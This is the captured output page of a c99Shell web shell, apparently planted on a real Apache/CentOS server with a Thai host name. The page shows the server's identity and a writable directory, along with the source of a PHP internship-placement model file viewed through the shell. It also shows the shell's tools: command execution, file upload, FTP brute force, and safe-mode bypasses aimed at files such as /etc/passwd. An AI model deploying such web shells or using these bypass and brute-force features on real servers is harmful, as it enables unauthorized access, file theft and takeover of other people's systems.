!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/models/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mo_rg_externalplace.php (7.46 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("da_rg_ExternalPlace.php");
class 
Mo_rg_externalplace extends Da_rg_ExternalPlace {

     
/**
     * หน้าที่ของฟังก์ชั่น คือ หาข้อมูลสถานที่ฝึกงานตามเงื่อนไข
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @param    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ ORDER BY
     * @param    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม GROUP BY
     * @return    query >= 1 rows : rg_ExternalPlace.*
     * @todo    use
     */
    
public function qryEtp($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);

        
$c1 substr($where0, -3);
        
$c2 substr($order0, -1);
        
$c3 substr($group0, -1);

        
$sql "SELECT *
                    FROM $this->rg_dbname.rg_ExternalPlace
                    $c1
                    $c2
                    $c3"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาข้อมูลสถานที่ฝึกงานเพื่อแสดงเป็น dropdown
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @order    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ  GROUP BY
     * @group    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม ORDER BY
     * @param    char optional ไว้สำหรับสร้าง string ของ dropdown
     * @return    array $opt อยู่ในรูป array opt('grdId' => grdName)
     * @todo    use
     */
    
public function get_options($condition="",$order="",$group=""$optional='y') {
        
$query $this->qryEtp($condition,$order,$group);
        if(
$optional$opt[''] = $optional;
        foreach(
$query->result() as $row) {
            
$opt[$row->grdId] = $row->grdGrade;
        }
        return 
$opt;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาข้อมูลสถานที่ฝึกงานหลัก และข้อมูลสถานที่ฝึกงานย่อย
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @order    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ  GROUP BY
     * @group    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม ORDER BY
     * @param    char optional ไว้สำหรับสร้าง string ของ dropdown
     * @return    query >= 1 rows : rg_ExternalPlace.*, rg_MainExternalPlace.*, rg_SubExternalPlace.*
     * @todo    use
     */    
    
public function qryEtpJoinMepSep($condition="",$order="",$group="") {
        
$where $this->checkCondition($condition);
        
$order $this->checkOrderBy($order);
        
$group $this->checkGroupBy($group);

        
$c1 substr($where0, -3);
        
$c2 substr($order0, -1);
        
$c3 substr($group0, -1);

        
$sql "SELECT *
                FROM $this->rg_dbname.rg_ExternalPlace
                LEFT JOIN $this->rg_dbname.rg_MainExternalPlace ON etpMepId=mepId
                LEFT JOIN $this->rg_dbname.rg_SubExternalPlace ON etpSepId=sepId
                $c1
                $c3
                $c2"
;
        
$query $this->db->query($sql);
        return 
$query;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาข้อมูลสถานที่ฝึกงานหลัก และข้อมูลสถานที่ฝึกงานย่อย
     *
     * @access    public
     * @param    array condition โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขของคำสั่ง SELECT
     * @order    array order โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการเรียงลำดับ  GROUP BY
     * @group    array group โดยรูปแบบของ array จะอยู่ในรูป condition('key' => value) ไว้สำหรับระบุเงื่อนไขการจัดกลุ่ม ORDER BY
     * @param    char optional ไว้สำหรับสร้าง string ของ dropdown
     * @return    query >= 1 rows : rg_ExternalPlace.*, rg_MainExternalPlace.*, rg_SubExternalPlace.*
     * @todo    use
     */    
    
public function qryEtpByMepIdOrSepIdJoinMepSep($etpMepId$etpSepId) {
        
$sql "SELECT *
                FROM $this->rg_dbname.rg_ExternalPlace
                LEFT JOIN $this->rg_dbname.rg_MainExternalPlace ON etpMepId=mepId
                LEFT JOIN $this->rg_dbname.rg_SubExternalPlace ON etpSepId=sepId
                WHERE etpMepId=?
                OR etpSepId=?
                ORDER BY CONVERT(mepName USING TIS620),
                CONVERT(sepName USING TIS620)"
;
        
$query $this->db->query($sql,array($etpMepId$etpSepId));
        return 
$query;
    }

    public function 
mep_optionsJoinMepSep($condition="",$order="",$group=""$optional='y') {
        
$query $this->qryEtpJoinMepSep($condition,$order,$group);
        
$opt null;
        
//if($optional=='y'){ $opt[''] = '';}
        
foreach($query->result() as $row) {
            
$opt[$row->mepId] = $row->mepName;
        }
        return 
$opt;
    }

    public function 
sep_optionsJoinMepSep($condition="",$order="",$group=""$optional='y') {
        
$query $this->qryEtpJoinMepSep($condition,$order,$group);
        
//if($optional) $opt[''] = '';
        
foreach($query->result() as $row) {
            
$opt[$row->sepId] = $row->sepName;
        }
        return 
$opt;
    }

    
/**
     * หน้าที่ของฟังก์ชั่น คือ หาข้อมูลสถานที่ฝึกงานที่มี id ไม่เท่ากับค่าที่กำหนด
     *
     * @access    public
     * @param    $etpMepId คือ รหัสข้อมูลสถานที่ฝึกงานหลัก
     * @param    $etmSepId คือ รหัสข้อมูลสถานที่ฝึกงานย่อย
     * @return    query >= 1 rows : rg_SubExternalPlace.*
     * @todo    use
     */
    
public function qryEtpNotId($etpMepId,$etmSepId) {
        
$sql "SELECT *
                    FROM $this->rg_dbname.rg_ExternalPlace
                    WHERE etpMepId<>?
                    AND etmSepId<>?"
;
        
$query $this->db->query($sql,array($etpMepId,$etmSepId));
        return 
$query;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0111 ]--